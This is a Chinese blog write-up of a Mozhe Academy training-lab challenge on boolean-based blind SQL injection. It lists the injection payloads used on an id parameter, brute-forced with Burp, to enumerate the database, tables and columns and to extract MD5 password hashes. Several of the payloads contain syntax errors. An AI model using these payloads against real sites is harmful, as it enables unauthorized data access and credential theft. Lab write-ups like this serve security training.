IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 墨者学院-SQL注入漏洞测试(布尔盲注) -> 正文阅读

[大数据]墨者学院-SQL注入漏洞测试(布尔盲注)

拿到题目之后打开网站发现如下界面
在这里插入图片描述
本以为是输入框存在注入,结果发现并不是,而是下面一段小字,发现存在id=1的字样
在这里插入图片描述

手工注入:

前置知识!!!
1.information_schema.schemata 该表存储了数据库所有数据****名
其中schema_name为数据库的库名存在此表中

2.information_schema.tables该表在存储了数据库中的所有****名
table_schema 为数据库名
table_name为数据表名
table_rows为行的粗略估计
table_length记录表的大小

1.判断注入点:

首先应该判断是否有闭合字符,当输入and 1=1界面正常,and 1=2时界面错误,说明无闭合字符,为数字型注入。

2.爆破数据库:

因为已经知道数据库为mysql,则接下来爆数据库

一般用到的函数:
. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串 
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
1. version()——MySQL 版本
2. user()——数据库用户名 
3. database()——数据库名
4. @@datadir——数据库路径 
5. @@version_compile_os——操作系统版本
database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
ascii(),将字符转为 ascii 值

and length(database())>5
利用二分法或者burp爆破模块跑出数据库的字段数为10,接下来爆破数据库名称
ascii(substr(database(),1,1))=48
在这里插入图片描述通过burp爆破一般情况下跑48-127,来爆破出数据库名称:stormgroup
ps:导出名称的时候先将1250长字段标红,接下来筛选出高字段,接下来payload的降序一下,这样就是顺序,再导出payload2,这就是字段的ASCII值,之后转换就可以得到字段名称了

3.爆破数据表

1.爆破数据表:先跑出一共几个表
id=1 and (select count (table_name) from information_schema.tables where schema_name=database())=1

在这里插入图片描述2.共两个表,接下来跑表的长度
id=1 and length((select table_name from information_schema.tables where schema_name=database() limit 0,1))=1
ps:这里注意要有两个括号,一个为length()函数自身括号,另一个为包裹查询这整个sql语句

3.两个表长度都为6,接下来爆表名
id=1 and ascii(substr(select table_name from information_schema.tables where schema_name=database() limit 0,1),1,1)=1

ps id=1 and ascii(substr(select table_name from information_schema.tables where schema_name=database() limit 0,1),1,1)=48 用burp跑这两个字段 下面同理

得到表名为**membernotice**

4.爆破字段

1.跑出每个表中有几个字段
(select count(column_name) from information_schema.columns where table_name='member')=1 得出第一张表有3个字段,第二章表有4个字段。

length((select column_name from information_schema.columns where table_name="member" limit 0,1))=1
得到member三个字段的长度分别为**4 8 6而notice字段的长度分别为2 5 7 4**

在这里插入图片描述2.接下来字段名称
ascii(substr((select column_name from information_schema.columns where table_name="member" limit 0,1), 1,1))
得到member字段分别为name, password, status, 而notice字段分别为id, title,在这里插入图片描述
3.同导出数据库名称一样越burp跑出共7个字段名
得到**member字段为name, password, status,** 而**notice字段分别为id, title, content, time**

4.判断password字段数,因为一般mysql都为md5加密,会很长,当然也可以在跑字段的时候password设置的长度大一点
length((select password from member limit 1,1))>5
之后爆破**namepassword**字段

name都是mozhe,但password为32位md5值,共两个数据,跑出md5后转换一下,得到用户名与密码,进行最开始的登录界面,第一组用户显示被进禁止,第二组可以进入,并得到最后key值,key值为动态的,需要自己破解跑哦。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-12-02 16:50:07  更:2021-12-02 16:51:05 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 8:46:39-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码